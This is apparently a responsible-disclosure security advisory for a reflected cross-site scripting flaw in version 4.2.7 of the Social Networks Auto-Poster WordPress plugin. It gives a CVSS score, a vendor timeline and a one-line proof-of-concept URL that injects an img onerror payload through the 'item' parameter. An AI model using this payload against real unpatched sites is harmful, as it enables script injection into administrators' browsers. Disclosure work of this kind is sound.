WordPress Social Networks Auto-Poster 4.2.7 Cross Site Scripting

` * Vulnerability: XSS  
* Affected Software: [NextScripts: Social Networks  
Auto-Poster](https://wordpress.org/plugins/social-networks-auto-poster-facebook-twitter-g/)  
* Affected Version: 4.2.7  
* Patched Version: 4.2.8  
* CVE: not requested  
* Risk: Medium  
* Vendor Contacted: 10/25/2018  
* Vendor Fix: 11/02/2018  
* Public Disclosure: 02/05/2019  
* Credit: Tim Coen  
  
##### CVSS  
  
6.1 Medium  
[CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)  
  
##### Overview  
  
The Social Networks Auto-Poster WordPress plugin is vulnerable to  
reflected XSS as it echoes the `item` parameter without proper encoding.  
  
##### Proof of Concept  
  
  
http://192.168.0.103/wordpress/wp-admin/admin.php?page=nxssnap-reposter&action=edit&item=24'"><img+src%3Dx+onerror%3Dalert(1)>  
  
##### Timeline  
  
- 10/25/2018 Requested email address via contact form  
- 10/29/2018 Vendor supplies email address  
- 10/31/2018 Advisory sent  
- 11/02/2018 Vendor releases fix  
- 02/05/2019 Confirmed fix & Disclosure  
  
##### Details & Full Advisory URL  
  
https://security-consulting.icu/blog/2019/02/wordpress-social-networks-auto-poster-xss/  
  
--   
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0x204DCBDD29BA0D89  
  
  
`